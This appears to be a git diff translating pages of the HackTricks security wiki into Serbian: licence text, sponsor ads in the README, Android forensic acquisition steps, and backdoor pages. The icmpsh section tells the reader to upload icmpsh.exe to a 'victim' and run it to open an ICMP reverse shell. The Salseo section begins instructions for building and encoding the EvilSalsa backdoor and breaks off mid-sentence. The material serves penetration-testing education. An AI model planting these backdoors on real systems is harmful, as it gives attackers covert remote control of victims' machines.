utjecati na izvršnost preostalih uslova i odredbi. -For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. - -## Section 5 – Disclaimer of Warranties and Limitation of Liability. - -a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__ - -b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__ - -c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. - -## Section 6 – Term and Termination. - -a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. - -b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: - - 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or - - 2. upon express reinstatement by the Licensor. - - For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. - -c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. - -d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License. - -## Section 7 – Other Terms and Conditions. - -a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. - -b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. - -## Section 8 – Interpretation. - -a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. - -b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. - -c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. - -d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. +c. Nijedan uslov ove javne licence neće biti odstupljen, niti će se pristati na nepoštivanje, osim ako izričito nije dogovoreno od strane izdavaoca. +d. Ništa u ovoj javnoj licenci ne predstavlja ili se ne može tumačiti kao ograničenje ili odricanje od bilo kakvih privilegija i imuniteta koji se odnose na izdavaoca ili vas, uključujući pravne postupke bilo koje nadležnosti ili vlasti. ``` -Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. +Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/). ``` - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/README.md b/README.md index 604662621..365e564e6 100644 --- a/README.md +++ b/README.md @@ -2,39 +2,39 @@
-_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Лого и дизајн покрета од стране_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ {% hint style="success" %} -**Welcome to the wiki where you will find each hacking trick/technique/whatever I have learnt from CTFs, real life apps, reading researches, and news.** +**Добродошли на вики где ћете пронаћи сваки хакерски трк/технику/шта год сам научио из CTF-ова, апликација у реалном животу, читања истраживања и вести.** {% endhint %} -To get started follow this page where you will find the **typical flow** that **you should follow when pentesting** one or more **machines:** +За почетак, пратите ову страницу где ћете пронаћи **типичан ток** који **требате следити при тестирању** једне или више **машина**: {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) {% endcontent-ref %} -## Platinum Sponsors +## Платински спонзори -_Your company could be here._ +_Ваша компанија може бити овде._ -## Corporate Sponsors +## Корпоративни спонзори ### [STM Cyber](https://www.stmcyber.com)
-[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training. +[**STM Cyber**](https://www.stmcyber.com) је одлична компанија за кибер-безбедност чији је слоган **HACK THE UNHACKABLE**. Изводе своја истраживања и развијају своје хакерске алате да би понудили неколико вредних услуга за кибер-безбедност као што су тестирање, Црвени тимови и обука. -You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) +Можете проверити њихов **блог** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** also support cybersecurity open source projects like HackTricks :) +**STM Cyber** такође подржава отворене пројекте за кибер-безбедност као што је HackTricks :) ### [RootedCON](https://www.rootedcon.com/)
-[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com) је најважнији кибер-безбедносни догађај у **Шпанији** и један од најважнијих у **Европи**. Са **мисијом промовисања техничког знања**, овај конгрес је кипеће место сусрета технологије и стручњака за кибер-безбедност у свакој дисциплини. {% embed url="https://www.rootedcon.com/" %} @@ -42,9 +42,9 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
-**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.** +**Intigriti** је **број 1** етичка хакерска и **bug bounty платформа у Европи**. -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Савет за bug bounty**: **пријавите се** на **Intigriti**, премијум **bug bounty платформу коју су хакери направили за хакере**! Придружите нам се на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) данас и почните зараду баунтија до **100.000 долара**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -53,9 +53,9 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools. +Користите [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) да лако изградите и **аутоматизујете радне процесе** помоћу најнапреднијих алатки за заједницу на свету. -Get Access Today: +Добијте приступ данас: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -63,13 +63,13 @@ Get Access Today:
-Stay a step ahead in the cybersecurity game. +Останите један корак испред у кибер-безбедносној игри. -[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) makes vulnerability management easy. Keep track of your attack surface, see where your company is vulnerable, and prioritize issues that leave your systems most exposed so you can focus on what matters most. +[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) олакшава управљање раније откривеним ранјивостима. Пратите своју површину напада, видите где је ваша компанија угрожена и дати приоритет проблемима који највише излажу ваш систем, како бисте могли да се фокусирате на најважније ствари. -Run thousands of checks with a single platform that covers your entire tech stack from internal infrastructure to web apps, APIs and cloud systems. Integrate seamlessly with [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) and streamline DevOps so your team can implement fixes faster. +Извршите хиљаде провера помоћу једне платформе која покрива целокупан технички стек, од интерне инфраструктуре до веб апликација, API-ја и облачних система. Интегришите се без проблема са [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) и усавршите DevOps тако да ваш тим може брже да имплементира исправке. -Intruder never rests. Round-the-clock protection monitors your systems 24/7. Want to learn more? Visit their site and take it for a spin with [**a free trial**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks). +Intruder никада не спава. Заштита вашег система се непрекидно прати 24/7. Желите да сазнате више? Посетите њихов сајт и испробајте га са [**бесплатним пробним периодом**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks). {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -77,46 +77,25 @@ Intruder never rests. Round-the-clock protection monitors your systems 24/7. Wan
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +Придружите се [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) серверу да бисте комуницирали са искусним хакерима и ловцима на багове! -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking +**Инсајтс о хаковању**\ +Укључите се у садржај који истражује узбудљивост и изазове хаковања -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights +**Вести о хаковању у реалном времену**\ +Будите у току са брзим светом хаковања кроз вести и увиде у реалном времену -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates +**Најновије објаве**\ +Останите информисани о најновијим покретањима баг баунтија и битним ажурирањима платформе -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +**Придружите нам се на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **и почните са сарадњом са најбољим хакерима данас!** *** -### [Pentest-Tools.com](https://pentest-tools.com/) - The essential penetration testing toolkit +### [Pentest-Tools.com](https://pentest-tools.com/) - Основни алат за т +## Licenca i odricanje od odgovornosti -
- -**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun. - -{% embed url="https://pentest-tools.com/" %} - -### [WebSec](https://websec.nl/) - -
- -[**WebSec**](https://websec.nl) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach. - -WebSec is an **all-in-one security company** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more. - -Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.nl/en/) and [**blog**](https://websec.nl/blog/)! - -In addition to the above WebSec is also a **committed supporter of HackTricks.** - -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} - -## License & Disclaimer - -**Check them in:** +**Proverite ih u:** {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -124,14 +103,14 @@ In addition to the above WebSec is also a **committed supporter of HackTricks.**
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/android-forensics.md b/android-forensics.md index 154e7909b..ddcc719ba 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -1,51 +1,51 @@ -# Android Forensics +# Android forenzika
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Locked Device +## Zaključan uređaj -To start extracting data from an Android device it has to be unlocked. If it's locked you can: +Da biste započeli sa izvlačenjem podataka sa Android uređaja, on mora biti otključan. Ako je zaključan, možete: -* Check if the device has debugging via USB activated. -* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) -* Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) +* Proverite da li je uređaj ima aktiviranu USB debagovanje. +* Proverite mogući [napad otiskom prsta](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) +* Pokušajte sa [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) -## Data Adquisition +## Akvizicija podataka -Create an [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` +Napravite [android rezervnu kopiju koristeći adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) i izvucite je koristeći [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` -### If root access or physical connection to JTAG interface +### Ako imate root pristup ili fizičku vezu sa JTAG interfejsom -* `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory). -* `df /data` (Discover the block size of the system). -* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size). +* `cat /proc/partitions` (pretražite putanju do fleš memorije, generalno prvi unos je _mmcblk0_ i odgovara celoj fleš memoriji). +* `df /data` (Otkrijte veličinu bloka sistema). +* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (izvršite sa informacijama prikupljenim iz veličine bloka). -### Memory +### Memorija -Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb. +Koristite Linux Memory Extractor (LiME) za izvlačenje informacija o RAM-u. To je kernel ekstenzija koja se treba učitati putem adb-a.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md index af92f95f5..9388503c9 100644 --- a/backdoors/icmpsh.md +++ b/backdoors/icmpsh.md @@ -1,62 +1,50 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +Preuzmite backdoor sa: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# Klijentska strana -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +Izvršite skriptu: **run.sh** +**Ako dobijete neku grešku, pokušajte da promenite linije:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**Za:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **Strana žrtve** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +Otpremite **icmpsh.exe** na žrtvu i izvršite: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/backdoors/salseo.md b/backdoors/salseo.md index b50c8851b..9cbee1a43 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -2,171 +2,211 @@
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Compiling the binaries +## Kompajliranje binarnih fajlova -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Potrebno je da imate instaliran **Visual Studio** za kompajliranje koda. -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +Kompajlirajte ove projekte za arhitekturu Windows mašine na kojoj ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu). -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" tabu** u **"Platform Target"**. -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*Ako ne možete da pronađete ove opcije, pritisnite na **"Project Tab"** a zatim na **"\ Properties"**) ![](<../.gitbook/assets/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +Zatim, kompajlirajte oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja do izvršnog fajla): ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## Priprema Backdoor-a -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +Prvo, morate enkodirati 